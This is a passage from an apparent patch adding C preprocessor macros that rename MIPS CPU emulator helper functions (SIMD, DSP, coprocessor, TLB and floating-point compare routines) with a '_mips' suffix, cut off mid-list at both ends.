helper_msa_ffint_s_df helper_msa_ffint_s_df_mips +#define helper_msa_ffint_u_df helper_msa_ffint_u_df_mips +#define helper_paddsb helper_paddsb_mips +#define helper_paddusb helper_paddusb_mips +#define helper_paddsh helper_paddsh_mips +#define helper_paddush helper_paddush_mips +#define helper_paddb helper_paddb_mips +#define helper_paddh helper_paddh_mips +#define helper_paddw helper_paddw_mips +#define helper_psubsb helper_psubsb_mips +#define helper_psubusb helper_psubusb_mips +#define helper_psubsh helper_psubsh_mips +#define helper_psubush helper_psubush_mips +#define helper_psubb helper_psubb_mips +#define helper_psubh helper_psubh_mips +#define helper_psubw helper_psubw_mips +#define helper_pshufh helper_pshufh_mips +#define helper_packsswh helper_packsswh_mips +#define helper_packsshb helper_packsshb_mips +#define helper_packushb helper_packushb_mips +#define helper_punpcklwd helper_punpcklwd_mips +#define helper_punpckhwd helper_punpckhwd_mips +#define helper_punpcklhw helper_punpcklhw_mips +#define helper_punpckhhw helper_punpckhhw_mips +#define helper_punpcklbh helper_punpcklbh_mips +#define helper_punpckhbh helper_punpckhbh_mips +#define helper_pavgh helper_pavgh_mips +#define helper_pavgb helper_pavgb_mips +#define helper_pmaxsh helper_pmaxsh_mips +#define helper_pminsh helper_pminsh_mips +#define helper_pmaxub helper_pmaxub_mips +#define helper_pminub helper_pminub_mips +#define helper_pcmpeqw helper_pcmpeqw_mips +#define helper_pcmpgtw helper_pcmpgtw_mips +#define helper_pcmpeqh helper_pcmpeqh_mips +#define helper_pcmpgth helper_pcmpgth_mips +#define helper_pcmpeqb helper_pcmpeqb_mips +#define helper_pcmpgtb helper_pcmpgtb_mips +#define helper_psllw helper_psllw_mips +#define helper_psrlw helper_psrlw_mips +#define helper_psraw helper_psraw_mips +#define helper_psllh helper_psllh_mips +#define helper_psrlh helper_psrlh_mips +#define helper_psrah helper_psrah_mips +#define helper_pmullh helper_pmullh_mips +#define helper_pmulhh helper_pmulhh_mips +#define helper_pmulhuh helper_pmulhuh_mips +#define helper_pmaddhw helper_pmaddhw_mips +#define helper_pasubub helper_pasubub_mips +#define helper_biadd helper_biadd_mips +#define helper_pmovmskb helper_pmovmskb_mips +#define helper_absq_s_ph helper_absq_s_ph_mips +#define helper_absq_s_qb helper_absq_s_qb_mips +#define helper_absq_s_w helper_absq_s_w_mips +#define helper_addqh_ph helper_addqh_ph_mips +#define helper_addqh_r_ph helper_addqh_r_ph_mips +#define helper_addqh_r_w helper_addqh_r_w_mips +#define helper_addqh_w helper_addqh_w_mips +#define helper_adduh_qb helper_adduh_qb_mips +#define helper_adduh_r_qb helper_adduh_r_qb_mips +#define helper_subqh_ph helper_subqh_ph_mips +#define helper_subqh_r_ph helper_subqh_r_ph_mips +#define helper_subqh_r_w helper_subqh_r_w_mips +#define helper_subqh_w helper_subqh_w_mips +#define helper_addq_ph helper_addq_ph_mips +#define helper_addq_s_ph helper_addq_s_ph_mips +#define helper_addq_s_w helper_addq_s_w_mips +#define helper_addu_ph helper_addu_ph_mips +#define helper_addu_qb helper_addu_qb_mips +#define helper_addu_s_ph helper_addu_s_ph_mips +#define helper_addu_s_qb helper_addu_s_qb_mips +#define helper_subq_ph helper_subq_ph_mips +#define helper_subq_s_ph helper_subq_s_ph_mips +#define helper_subq_s_w helper_subq_s_w_mips +#define helper_subu_ph helper_subu_ph_mips +#define helper_subu_qb helper_subu_qb_mips +#define helper_subu_s_ph helper_subu_s_ph_mips +#define helper_subu_s_qb helper_subu_s_qb_mips +#define helper_subuh_qb helper_subuh_qb_mips +#define helper_subuh_r_qb helper_subuh_r_qb_mips +#define helper_addsc helper_addsc_mips +#define helper_addwc helper_addwc_mips +#define helper_modsub helper_modsub_mips +#define helper_raddu_w_qb helper_raddu_w_qb_mips +#define helper_precr_qb_ph helper_precr_qb_ph_mips +#define helper_precrq_qb_ph helper_precrq_qb_ph_mips +#define helper_precr_sra_ph_w helper_precr_sra_ph_w_mips +#define helper_precr_sra_r_ph_w helper_precr_sra_r_ph_w_mips +#define helper_precrq_ph_w helper_precrq_ph_w_mips +#define helper_precrq_rs_ph_w helper_precrq_rs_ph_w_mips +#define helper_precrqu_s_qb_ph helper_precrqu_s_qb_ph_mips +#define helper_precequ_ph_qbl helper_precequ_ph_qbl_mips +#define helper_precequ_ph_qbr helper_precequ_ph_qbr_mips +#define helper_precequ_ph_qbla helper_precequ_ph_qbla_mips +#define helper_precequ_ph_qbra helper_precequ_ph_qbra_mips +#define helper_preceu_ph_qbl helper_preceu_ph_qbl_mips +#define helper_preceu_ph_qbr helper_preceu_ph_qbr_mips +#define helper_preceu_ph_qbla helper_preceu_ph_qbla_mips +#define helper_preceu_ph_qbra helper_preceu_ph_qbra_mips +#define helper_shll_qb helper_shll_qb_mips +#define helper_shrl_qb helper_shrl_qb_mips +#define helper_shra_qb helper_shra_qb_mips +#define helper_shra_r_qb helper_shra_r_qb_mips +#define helper_shll_ph helper_shll_ph_mips +#define helper_shll_s_ph helper_shll_s_ph_mips +#define helper_shll_s_w helper_shll_s_w_mips +#define helper_shra_r_w helper_shra_r_w_mips +#define helper_shrl_ph helper_shrl_ph_mips +#define helper_shra_ph helper_shra_ph_mips +#define helper_shra_r_ph helper_shra_r_ph_mips +#define helper_muleu_s_ph_qbl helper_muleu_s_ph_qbl_mips +#define helper_muleu_s_ph_qbr helper_muleu_s_ph_qbr_mips +#define helper_mulq_rs_ph helper_mulq_rs_ph_mips +#define helper_mul_ph helper_mul_ph_mips +#define helper_mul_s_ph helper_mul_s_ph_mips +#define helper_mulq_s_ph helper_mulq_s_ph_mips +#define helper_muleq_s_w_phl helper_muleq_s_w_phl_mips +#define helper_muleq_s_w_phr helper_muleq_s_w_phr_mips +#define helper_mulsaq_s_w_ph helper_mulsaq_s_w_ph_mips +#define helper_mulsa_w_ph helper_mulsa_w_ph_mips +#define helper_dpau_h_qbl helper_dpau_h_qbl_mips +#define helper_dpau_h_qbr helper_dpau_h_qbr_mips +#define helper_dpsu_h_qbl helper_dpsu_h_qbl_mips +#define helper_dpsu_h_qbr helper_dpsu_h_qbr_mips +#define helper_dpa_w_ph helper_dpa_w_ph_mips +#define helper_dpax_w_ph helper_dpax_w_ph_mips +#define helper_dps_w_ph helper_dps_w_ph_mips +#define helper_dpsx_w_ph helper_dpsx_w_ph_mips +#define helper_dpaq_s_w_ph helper_dpaq_s_w_ph_mips +#define helper_dpaqx_s_w_ph helper_dpaqx_s_w_ph_mips +#define helper_dpsq_s_w_ph helper_dpsq_s_w_ph_mips +#define helper_dpsqx_s_w_ph helper_dpsqx_s_w_ph_mips +#define helper_dpaqx_sa_w_ph helper_dpaqx_sa_w_ph_mips +#define helper_dpsqx_sa_w_ph helper_dpsqx_sa_w_ph_mips +#define helper_dpaq_sa_l_w helper_dpaq_sa_l_w_mips +#define helper_dpsq_sa_l_w helper_dpsq_sa_l_w_mips +#define helper_maq_s_w_phl helper_maq_s_w_phl_mips +#define helper_maq_s_w_phr helper_maq_s_w_phr_mips +#define helper_maq_sa_w_phl helper_maq_sa_w_phl_mips +#define helper_maq_sa_w_phr helper_maq_sa_w_phr_mips +#define helper_mulq_s_w helper_mulq_s_w_mips +#define helper_mulq_rs_w helper_mulq_rs_w_mips +#define helper_bitrev helper_bitrev_mips +#define helper_insv helper_insv_mips +#define helper_cmpgu_eq_qb helper_cmpgu_eq_qb_mips +#define helper_cmpgu_lt_qb helper_cmpgu_lt_qb_mips +#define helper_cmpgu_le_qb helper_cmpgu_le_qb_mips +#define helper_cmpu_eq_qb helper_cmpu_eq_qb_mips +#define helper_cmpu_lt_qb helper_cmpu_lt_qb_mips +#define helper_cmpu_le_qb helper_cmpu_le_qb_mips +#define helper_cmp_eq_ph helper_cmp_eq_ph_mips +#define helper_cmp_lt_ph helper_cmp_lt_ph_mips +#define helper_cmp_le_ph helper_cmp_le_ph_mips +#define helper_pick_qb helper_pick_qb_mips +#define helper_pick_ph helper_pick_ph_mips +#define helper_packrl_ph helper_packrl_ph_mips +#define helper_extr_w helper_extr_w_mips +#define helper_extr_r_w helper_extr_r_w_mips +#define helper_extr_rs_w helper_extr_rs_w_mips +#define helper_extr_s_h helper_extr_s_h_mips +#define helper_extp helper_extp_mips +#define helper_extpdp helper_extpdp_mips +#define helper_shilo helper_shilo_mips +#define helper_mthlip helper_mthlip_mips +#define cpu_wrdsp cpu_wrdsp_mips +#define helper_wrdsp helper_wrdsp_mips +#define cpu_rddsp cpu_rddsp_mips +#define helper_rddsp helper_rddsp_mips +#define helper_raise_exception_err helper_raise_exception_err_mips +#define helper_clo helper_clo_mips +#define helper_clz helper_clz_mips +#define helper_muls helper_muls_mips +#define helper_mulsu helper_mulsu_mips +#define helper_macc helper_macc_mips +#define helper_macchi helper_macchi_mips +#define helper_maccu helper_maccu_mips +#define helper_macchiu helper_macchiu_mips +#define helper_msac helper_msac_mips +#define helper_msachi helper_msachi_mips +#define helper_msacu helper_msacu_mips +#define helper_msachiu helper_msachiu_mips +#define helper_mulhi helper_mulhi_mips +#define helper_mulhiu helper_mulhiu_mips +#define helper_mulshi helper_mulshi_mips +#define helper_mulshiu helper_mulshiu_mips +#define helper_bitswap helper_bitswap_mips +#define helper_ll helper_ll_mips +#define helper_sc helper_sc_mips +#define helper_swl helper_swl_mips +#define helper_swr helper_swr_mips +#define helper_lwm helper_lwm_mips +#define helper_swm helper_swm_mips +#define helper_mfc0_mvpcontrol helper_mfc0_mvpcontrol_mips +#define helper_mfc0_mvpconf0 helper_mfc0_mvpconf0_mips +#define helper_mfc0_mvpconf1 helper_mfc0_mvpconf1_mips +#define helper_mfc0_random helper_mfc0_random_mips +#define helper_mfc0_tcstatus helper_mfc0_tcstatus_mips +#define helper_mftc0_tcstatus helper_mftc0_tcstatus_mips +#define helper_mfc0_tcbind helper_mfc0_tcbind_mips +#define helper_mftc0_tcbind helper_mftc0_tcbind_mips +#define helper_mfc0_tcrestart helper_mfc0_tcrestart_mips +#define helper_mftc0_tcrestart helper_mftc0_tcrestart_mips +#define helper_mfc0_tchalt helper_mfc0_tchalt_mips +#define helper_mftc0_tchalt helper_mftc0_tchalt_mips +#define helper_mfc0_tccontext helper_mfc0_tccontext_mips +#define helper_mftc0_tccontext helper_mftc0_tccontext_mips +#define helper_mfc0_tcschedule helper_mfc0_tcschedule_mips +#define helper_mftc0_tcschedule helper_mftc0_tcschedule_mips +#define helper_mfc0_tcschefback helper_mfc0_tcschefback_mips +#define helper_mftc0_tcschefback helper_mftc0_tcschefback_mips +#define helper_mfc0_count helper_mfc0_count_mips +#define helper_mftc0_entryhi helper_mftc0_entryhi_mips +#define helper_mftc0_cause helper_mftc0_cause_mips +#define helper_mftc0_status helper_mftc0_status_mips +#define helper_mfc0_lladdr helper_mfc0_lladdr_mips +#define helper_mfc0_watchlo helper_mfc0_watchlo_mips +#define helper_mfc0_watchhi helper_mfc0_watchhi_mips +#define helper_mfc0_debug helper_mfc0_debug_mips +#define helper_mftc0_debug helper_mftc0_debug_mips +#define helper_mtc0_index helper_mtc0_index_mips +#define helper_mtc0_mvpcontrol helper_mtc0_mvpcontrol_mips +#define helper_mtc0_vpecontrol helper_mtc0_vpecontrol_mips +#define helper_mttc0_vpecontrol helper_mttc0_vpecontrol_mips +#define helper_mftc0_vpecontrol helper_mftc0_vpecontrol_mips +#define helper_mftc0_vpeconf0 helper_mftc0_vpeconf0_mips +#define helper_mtc0_vpeconf0 helper_mtc0_vpeconf0_mips +#define helper_mttc0_vpeconf0 helper_mttc0_vpeconf0_mips +#define helper_mtc0_vpeconf1 helper_mtc0_vpeconf1_mips +#define helper_mtc0_yqmask helper_mtc0_yqmask_mips +#define helper_mtc0_vpeopt helper_mtc0_vpeopt_mips +#define helper_mtc0_entrylo0 helper_mtc0_entrylo0_mips +#define helper_mtc0_tcstatus helper_mtc0_tcstatus_mips +#define helper_mttc0_tcstatus helper_mttc0_tcstatus_mips +#define helper_mtc0_tcbind helper_mtc0_tcbind_mips +#define helper_mttc0_tcbind helper_mttc0_tcbind_mips +#define helper_mtc0_tcrestart helper_mtc0_tcrestart_mips +#define helper_mttc0_tcrestart helper_mttc0_tcrestart_mips +#define helper_mtc0_tchalt helper_mtc0_tchalt_mips +#define helper_mttc0_tchalt helper_mttc0_tchalt_mips +#define helper_mtc0_tccontext helper_mtc0_tccontext_mips +#define helper_mttc0_tccontext helper_mttc0_tccontext_mips +#define helper_mtc0_tcschedule helper_mtc0_tcschedule_mips +#define helper_mttc0_tcschedule helper_mttc0_tcschedule_mips +#define helper_mtc0_tcschefback helper_mtc0_tcschefback_mips +#define helper_mttc0_tcschefback helper_mttc0_tcschefback_mips +#define helper_mtc0_entrylo1 helper_mtc0_entrylo1_mips +#define helper_mtc0_context helper_mtc0_context_mips +#define helper_mtc0_pagemask helper_mtc0_pagemask_mips +#define helper_mtc0_pagegrain helper_mtc0_pagegrain_mips +#define helper_mtc0_wired helper_mtc0_wired_mips +#define helper_mtc0_srsconf0 helper_mtc0_srsconf0_mips +#define helper_mtc0_srsconf1 helper_mtc0_srsconf1_mips +#define helper_mtc0_srsconf2 helper_mtc0_srsconf2_mips +#define helper_mtc0_srsconf3 helper_mtc0_srsconf3_mips +#define helper_mtc0_srsconf4 helper_mtc0_srsconf4_mips +#define helper_mtc0_hwrena helper_mtc0_hwrena_mips +#define helper_mtc0_count helper_mtc0_count_mips +#define helper_mtc0_entryhi helper_mtc0_entryhi_mips +#define helper_mttc0_entryhi helper_mttc0_entryhi_mips +#define helper_mtc0_compare helper_mtc0_compare_mips +#define helper_mtc0_status helper_mtc0_status_mips +#define helper_mttc0_status helper_mttc0_status_mips +#define helper_mtc0_intctl helper_mtc0_intctl_mips +#define helper_mtc0_srsctl helper_mtc0_srsctl_mips +#define helper_mtc0_cause helper_mtc0_cause_mips +#define helper_mttc0_cause helper_mttc0_cause_mips +#define helper_mftc0_epc helper_mftc0_epc_mips +#define helper_mftc0_ebase helper_mftc0_ebase_mips +#define helper_mtc0_ebase helper_mtc0_ebase_mips +#define helper_mttc0_ebase helper_mttc0_ebase_mips +#define helper_mftc0_configx helper_mftc0_configx_mips +#define helper_mtc0_config0 helper_mtc0_config0_mips +#define helper_mtc0_config2 helper_mtc0_config2_mips +#define helper_mtc0_config4 helper_mtc0_config4_mips +#define helper_mtc0_config5 helper_mtc0_config5_mips +#define helper_mtc0_lladdr helper_mtc0_lladdr_mips +#define helper_mtc0_watchlo helper_mtc0_watchlo_mips +#define helper_mtc0_watchhi helper_mtc0_watchhi_mips +#define helper_mtc0_xcontext helper_mtc0_xcontext_mips +#define helper_mtc0_framemask helper_mtc0_framemask_mips +#define helper_mtc0_debug helper_mtc0_debug_mips +#define helper_mttc0_debug helper_mttc0_debug_mips +#define helper_mtc0_performance0 helper_mtc0_performance0_mips +#define helper_mtc0_taglo helper_mtc0_taglo_mips +#define helper_mtc0_datalo helper_mtc0_datalo_mips +#define helper_mtc0_taghi helper_mtc0_taghi_mips +#define helper_mtc0_datahi helper_mtc0_datahi_mips +#define helper_mftgpr helper_mftgpr_mips +#define helper_mftlo helper_mftlo_mips +#define helper_mfthi helper_mfthi_mips +#define helper_mftacx helper_mftacx_mips +#define helper_mftdsp helper_mftdsp_mips +#define helper_mttgpr helper_mttgpr_mips +#define helper_mttlo helper_mttlo_mips +#define helper_mtthi helper_mtthi_mips +#define helper_mttacx helper_mttacx_mips +#define helper_mttdsp helper_mttdsp_mips +#define helper_dmt helper_dmt_mips +#define helper_emt helper_emt_mips +#define helper_dvpe helper_dvpe_mips +#define helper_evpe helper_evpe_mips +#define helper_fork helper_fork_mips +#define helper_yield helper_yield_mips +#define r4k_helper_tlbinv r4k_helper_tlbinv_mips +#define r4k_helper_tlbinvf r4k_helper_tlbinvf_mips +#define r4k_helper_tlbwi r4k_helper_tlbwi_mips +#define r4k_helper_tlbwr r4k_helper_tlbwr_mips +#define r4k_helper_tlbp r4k_helper_tlbp_mips +#define r4k_helper_tlbr r4k_helper_tlbr_mips +#define helper_tlbwi helper_tlbwi_mips +#define helper_tlbwr helper_tlbwr_mips +#define helper_tlbp helper_tlbp_mips +#define helper_tlbr helper_tlbr_mips +#define helper_tlbinv helper_tlbinv_mips +#define helper_tlbinvf helper_tlbinvf_mips +#define helper_di helper_di_mips +#define helper_ei helper_ei_mips +#define helper_eret helper_eret_mips +#define helper_deret helper_deret_mips +#define helper_rdhwr_cpunum helper_rdhwr_cpunum_mips +#define helper_rdhwr_synci_step helper_rdhwr_synci_step_mips +#define helper_rdhwr_cc helper_rdhwr_cc_mips +#define helper_rdhwr_ccres helper_rdhwr_ccres_mips +#define helper_pmon helper_pmon_mips +#define helper_wait helper_wait_mips +#define mips_cpu_do_unaligned_access mips_cpu_do_unaligned_access_mips +#define mips_cpu_unassigned_access mips_cpu_unassigned_access_mips +#define ieee_rm ieee_rm_mips +#define helper_cfc1 helper_cfc1_mips +#define helper_ctc1 helper_ctc1_mips +#define ieee_ex_to_mips ieee_ex_to_mips_mips +#define helper_float_sqrt_d helper_float_sqrt_d_mips +#define helper_float_sqrt_s helper_float_sqrt_s_mips +#define helper_float_cvtd_s helper_float_cvtd_s_mips +#define helper_float_cvtd_w helper_float_cvtd_w_mips +#define helper_float_cvtd_l helper_float_cvtd_l_mips +#define helper_float_cvtl_d helper_float_cvtl_d_mips +#define helper_float_cvtl_s helper_float_cvtl_s_mips +#define helper_float_cvtps_pw helper_float_cvtps_pw_mips +#define helper_float_cvtpw_ps helper_float_cvtpw_ps_mips +#define helper_float_cvts_d helper_float_cvts_d_mips +#define helper_float_cvts_w helper_float_cvts_w_mips +#define helper_float_cvts_l helper_float_cvts_l_mips +#define helper_float_cvts_pl helper_float_cvts_pl_mips +#define helper_float_cvts_pu helper_float_cvts_pu_mips +#define helper_float_cvtw_s helper_float_cvtw_s_mips +#define helper_float_cvtw_d helper_float_cvtw_d_mips +#define helper_float_roundl_d helper_float_roundl_d_mips +#define helper_float_roundl_s helper_float_roundl_s_mips +#define helper_float_roundw_d helper_float_roundw_d_mips +#define helper_float_roundw_s helper_float_roundw_s_mips +#define helper_float_truncl_d helper_float_truncl_d_mips +#define helper_float_truncl_s helper_float_truncl_s_mips +#define helper_float_truncw_d helper_float_truncw_d_mips +#define helper_float_truncw_s helper_float_truncw_s_mips +#define helper_float_ceill_d helper_float_ceill_d_mips +#define helper_float_ceill_s helper_float_ceill_s_mips +#define helper_float_ceilw_d helper_float_ceilw_d_mips +#define helper_float_ceilw_s helper_float_ceilw_s_mips +#define helper_float_floorl_d helper_float_floorl_d_mips +#define helper_float_floorl_s helper_float_floorl_s_mips +#define helper_float_floorw_d helper_float_floorw_d_mips +#define helper_float_floorw_s helper_float_floorw_s_mips +#define helper_float_abs_d helper_float_abs_d_mips +#define helper_float_abs_s helper_float_abs_s_mips +#define helper_float_abs_ps helper_float_abs_ps_mips +#define helper_float_chs_d helper_float_chs_d_mips +#define helper_float_chs_s helper_float_chs_s_mips +#define helper_float_chs_ps helper_float_chs_ps_mips +#define helper_float_maddf_s helper_float_maddf_s_mips +#define helper_float_maddf_d helper_float_maddf_d_mips +#define helper_float_msubf_s helper_float_msubf_s_mips +#define helper_float_msubf_d helper_float_msubf_d_mips +#define helper_float_max_s helper_float_max_s_mips +#define helper_float_max_d helper_float_max_d_mips +#define helper_float_maxa_s helper_float_maxa_s_mips +#define helper_float_maxa_d helper_float_maxa_d_mips +#define helper_float_min_s helper_float_min_s_mips +#define helper_float_min_d helper_float_min_d_mips +#define helper_float_mina_s helper_float_mina_s_mips +#define helper_float_mina_d helper_float_mina_d_mips +#define helper_float_rint_s helper_float_rint_s_mips +#define helper_float_rint_d helper_float_rint_d_mips +#define helper_float_class_s helper_float_class_s_mips +#define helper_float_class_d helper_float_class_d_mips +#define helper_float_recip_d helper_float_recip_d_mips +#define helper_float_recip_s helper_float_recip_s_mips +#define helper_float_rsqrt_d helper_float_rsqrt_d_mips +#define helper_float_rsqrt_s helper_float_rsqrt_s_mips +#define helper_float_recip1_d helper_float_recip1_d_mips +#define helper_float_recip1_s helper_float_recip1_s_mips +#define helper_float_recip1_ps helper_float_recip1_ps_mips +#define helper_float_rsqrt1_d helper_float_rsqrt1_d_mips +#define helper_float_rsqrt1_s helper_float_rsqrt1_s_mips +#define helper_float_rsqrt1_ps helper_float_rsqrt1_ps_mips +#define helper_float_add_d helper_float_add_d_mips +#define helper_float_add_s helper_float_add_s_mips +#define helper_float_add_ps helper_float_add_ps_mips +#define helper_float_sub_d helper_float_sub_d_mips +#define helper_float_sub_s helper_float_sub_s_mips +#define helper_float_sub_ps helper_float_sub_ps_mips +#define helper_float_mul_d helper_float_mul_d_mips +#define helper_float_mul_s helper_float_mul_s_mips +#define helper_float_mul_ps helper_float_mul_ps_mips +#define helper_float_div_d helper_float_div_d_mips +#define helper_float_div_s helper_float_div_s_mips +#define helper_float_div_ps helper_float_div_ps_mips +#define helper_float_madd_d helper_float_madd_d_mips +#define helper_float_madd_s helper_float_madd_s_mips +#define helper_float_madd_ps helper_float_madd_ps_mips +#define helper_float_msub_d helper_float_msub_d_mips +#define helper_float_msub_s helper_float_msub_s_mips +#define helper_float_msub_ps helper_float_msub_ps_mips +#define helper_float_nmadd_d helper_float_nmadd_d_mips +#define helper_float_nmadd_s helper_float_nmadd_s_mips +#define helper_float_nmadd_ps helper_float_nmadd_ps_mips +#define helper_float_nmsub_d helper_float_nmsub_d_mips +#define helper_float_nmsub_s helper_float_nmsub_s_mips +#define helper_float_nmsub_ps helper_float_nmsub_ps_mips +#define helper_float_recip2_d helper_float_recip2_d_mips +#define helper_float_recip2_s helper_float_recip2_s_mips +#define helper_float_recip2_ps helper_float_recip2_ps_mips +#define helper_float_rsqrt2_d helper_float_rsqrt2_d_mips +#define helper_float_rsqrt2_s helper_float_rsqrt2_s_mips +#define helper_float_rsqrt2_ps helper_float_rsqrt2_ps_mips +#define helper_float_addr_ps helper_float_addr_ps_mips +#define helper_float_mulr_ps helper_float_mulr_ps_mips +#define helper_cmp_d_f helper_cmp_d_f_mips +#define helper_cmpabs_d_f helper_cmpabs_d_f_mips +#define helper_cmp_d_un helper_cmp_d_un_mips +#define helper_cmpabs_d_un helper_cmpabs_d_un_mips +#define helper_cmp_d_eq helper_cmp_d_eq_mips +#define helper_cmpabs_d_eq helper_cmpabs_d_eq_mips +#define helper_cmp_d_ueq helper_cmp_d_ueq_mips +#define helper_cmpabs_d_ueq helper_cmpabs_d_ueq_mips +#define helper_cmp_d_olt helper_cmp_d_olt_mips +#define helper_cmpabs_d_olt helper_cmpabs_d_olt_mips +#define helper_cmp_d_ult helper_cmp_d_ult_mips +#define helper_cmpabs_d_ult helper_cmpabs_d_ult_mips +#define helper_cmp_d_ole helper_cmp_d_ole_mips +#define helper_cmpabs_d_ole helper_cmpabs_d_ole_mips +#define helper_cmp_d_ule helper_cmp_d_ule_mips +#define helper_cmpabs_d_ule helper_cmpabs_d_ule_mips +#define helper_cmp_d_sf helper_cmp_d_sf_mips +#define helper_cmpabs_d_sf helper_cmpabs_d_sf_mips +#define helper_cmp_d_ngle helper_cmp_d_ngle_mips +#define helper_cmpabs_d_ngle helper_cmpabs_d_ngle_mips +#define helper_cmp_d_seq helper_cmp_d_seq_mips +#define helper_cmpabs_d_seq helper_cmpabs_d_seq_mips +#define helper_cmp_d_ngl helper_cmp_d_ngl_mips +#define helper_cmpabs_d_ngl helper_cmpabs_d_ngl_mips +#define helper_cmp_d_lt helper_cmp_d_lt_mips +#define helper_cmpabs_d_lt helper_cmpabs_d_lt_mips +#define helper_cmp_d_nge helper_cmp_d_nge_mips +#define helper_cmpabs_d_nge helper_cmpabs_d_nge_mips +#define helper_cmp_d_le helper_cmp_d_le_mips +#define helper_cmpabs_d_le helper_cmpabs_d_le_mips +#define helper_cmp_d_ngt helper_cmp_d_ngt_mips +#define helper_cmpabs_d_ngt helper_cmpabs_d_ngt_mips +#define helper_cmp_s_f helper_cmp_s_f_mips +#define helper_cmpabs_s_f helper_cmpabs_s_f_mips +#define helper_cmp_s_un helper_cmp_s_un_mips +#define helper_cmpabs_s_un helper_cmpabs_s_un_mips +#define helper_cmp_s_eq helper_cmp_s_eq_mips +#define helper_cmpabs_s_eq helper_cmpabs_s_eq_mips +#define helper_cmp_s_ueq helper_cmp_s_ueq_mips +#define helper_cmpabs_s_ueq helper_cmpabs_s_ueq_mips +#define helper_cmp_s_olt helper_cmp_s_olt_mips +#define helper_cmpabs_s_olt helper_cmpabs_s_olt_mips +#define helper_cmp_s_ult helper_cmp_s_ult_mips +#define helper_cmpabs_s_ult helper_cmpabs_s_ult_mips +#define helper_cmp_s_ole helper_cmp_s_ole_mips +#define helper_cmpabs_s_ole helper_cmpabs_s_ole_mips +#define helper_cmp_s_ule helper_cmp_s_ule_mips +#define helper_cmpabs_s_ule helper_cmpabs_s_ule_mips +#define helper_cmp_s_sf helper_cmp_s_sf_mips +#define helper_cmpabs_s_sf helper_cmpabs_s_sf_mips +#define helper_cmp_s_ngle helper_cmp_s_ngle_mips +#define helper_cmpabs_s_ngle helper_cmpabs_s_ngle_mips +#define helper_cmp_s_seq helper_cmp_s_seq_mips +#define helper_cmpabs_s_seq helper_cmpabs_s_seq_mips +#define helper_cmp_s_ngl helper_cmp_s_ngl_mips +#define helper_cmpabs_s_ngl helper_cmpabs_s_ngl_mips +#define helper_cmp_s_lt helper_cmp_s_lt_mips +#define helper_cmpabs_s_lt helper_cmpabs_s_lt_mips +#define helper_cmp_s_nge helper_cmp_s_nge_mips +#define helper_cmpabs_s_nge helper_cmpabs_s_nge_mips +#define helper_cmp_s_le helper_cmp_s_le_mips +#define helper_cmpabs_s_le helper_cmpabs_s_le_mips +#define helper_cmp_s_ngt helper_cmp_s_ngt_mips +#define helper_cmpabs_s_ngt helper_cmpabs_s_ngt_mips +#define helper_cmp_ps_f helper_cmp_ps_f_mips +#define helper_cmpabs_ps_f helper_cmpabs_ps_f_mips +#define helper_cmp_ps_un helper_cmp_ps_un_mips +#define helper_cmpabs_ps_un helper_cmpabs_ps_un_mips +#define helper_cmp_ps_eq helper_cmp_ps_eq_mips +#define helper_cmpabs_ps_eq helper_cmpabs_ps_eq_mips +#define helper_cmp_ps_ueq helper_cmp_ps_ueq_mips +#define helper_cmpabs_ps_ueq helper_cmpabs_ps_ueq_mips +#define helper_cmp_ps_olt helper_cmp_ps_olt_mips +#define helper_cmpabs_ps_olt helper_cmpabs_ps_olt_mips +#define helper_cmp_ps_ult helper_cmp_ps_ult_mips +#define helper_cmpabs_ps_ult helper_cmpabs_ps_ult_mips +#define helper_cmp_ps_ole helper_cmp_ps_ole_mips +#define helper_cmpabs_ps_ole helper_cmpabs_ps_ole_mips +#define helper_cmp_ps_ule helper_cmp_ps_ule_mips +#define helper_cmpabs_ps_ule helper_cmpabs_ps_ule_mips +#define helper_cmp_ps_sf helper_cmp_ps_sf_mips +#define helper_cmpabs_ps_sf helper_cmpabs_ps_sf_mips +#define helper_cmp_ps_ngle helper_cmp_ps_ngle_mips +#define helper_cmpabs_ps_ngle helper_cmpabs_ps_ngle_mips +#define helper_cmp_ps_seq helper_cmp_ps_seq_mips +#define helper_cmpabs_ps_seq helper_cmpabs_ps_seq_mips +#define helper_cmp_ps_ngl helper_cmp_ps_ngl_mips +#define helper_cmpabs_ps_ngl helper_cmpabs_ps_ngl_mips +#define helper_cmp_ps_lt helper_cmp_ps_lt_mips +#define helper_cmpabs_ps_lt helper_cmpabs_ps_lt_mips +#define helper_cmp_ps_nge helper_cmp_ps_nge_mips +#define helper_cmpabs_ps_nge helper_cmpabs_ps_nge_mips +#define helper_cmp_ps_le helper_cmp_ps_le_mips +#define helper_cmpabs_ps_le helper_cmpabs_ps_le_mips +#define helper_cmp_ps_ngt helper_cmp_ps_ngt_mips +#define helper_cmpabs_ps_ngt helper_cmpabs_ps_ngt_mips +#define helper_r6_cmp_d_af helper_r6_cmp_d_af_mips +#define helper_r6_cmp_d_un helper_r6_cmp_d_un_mips +#define helper_r6_cmp_d_eq helper_r6_cmp_d_eq_mips +#define helper_r6_cmp_d_ueq helper_r6_cmp_d_ueq_mips +#define helper_r6_cmp_d_lt helper_r6_cmp_d_lt_mips +#define helper_r6_cmp_d_ult helper_r6_cmp_d_ult_mips +#define helper_r6_cmp_d_le helper_r6_cmp_d_le_mips +#define helper_r6_cmp_d_ule helper_r6_cmp_d_ule_mips +#define helper_r6_cmp_d_saf helper_r6_cmp_d_saf_mips +#define helper_r6_cmp_d_sun helper_r6_cmp_d_sun_mips +#define helper_r6_cmp_d_seq helper_r6_cmp_d_seq_mips +#define helper_r6_cmp_d_sueq helper_r6_cmp_d_sueq_mips +#define helper_r6_cmp_d_slt helper_r6_cmp_d_slt_mips +#define helper_r6_cmp_d_sult helper_r6_cmp_d_sult_mips +#define helper_r6_cmp_d_sle helper_r6_cmp_d_sle_mips +#define helper_r6_cmp_d_sule helper_r6_cmp_d_sule_mips +#define helper_r6_cmp_d_or helper_r6_cmp_d_or_mips +#define helper_r6_cmp_d_une helper_r6_cmp_d_une_mips +#define helper_r6_cmp_d_ne helper_r6_cmp_d_ne_mips +#define helper_r6_cmp_d_sor helper_r6_cmp_d_sor_mips +#define helper_r6_cmp_d_sune helper_r6_cmp_d_sune_mips +#define helper_r6_cmp_d_sne helper_r6_cmp_d_sne_mips +#define helper_r6_cmp_s_af helper_r6_cmp_s_af_mips +#define helper_r6_cmp_s_un helper_r6_cmp_s_un_mips +#define helper_r6_cmp_s_eq helper_r6_cmp_s_eq_mips +#define helper_r6_cmp_s_ueq helper_r6_cmp_s_ueq_mips +#define helper_r6_cmp_s_lt helper_r6_cmp_s_lt_mips +#define helper_r6_cmp_s_ult helper_r6_cmp_s_ult_mips +#define helper_r6_cmp_s_le 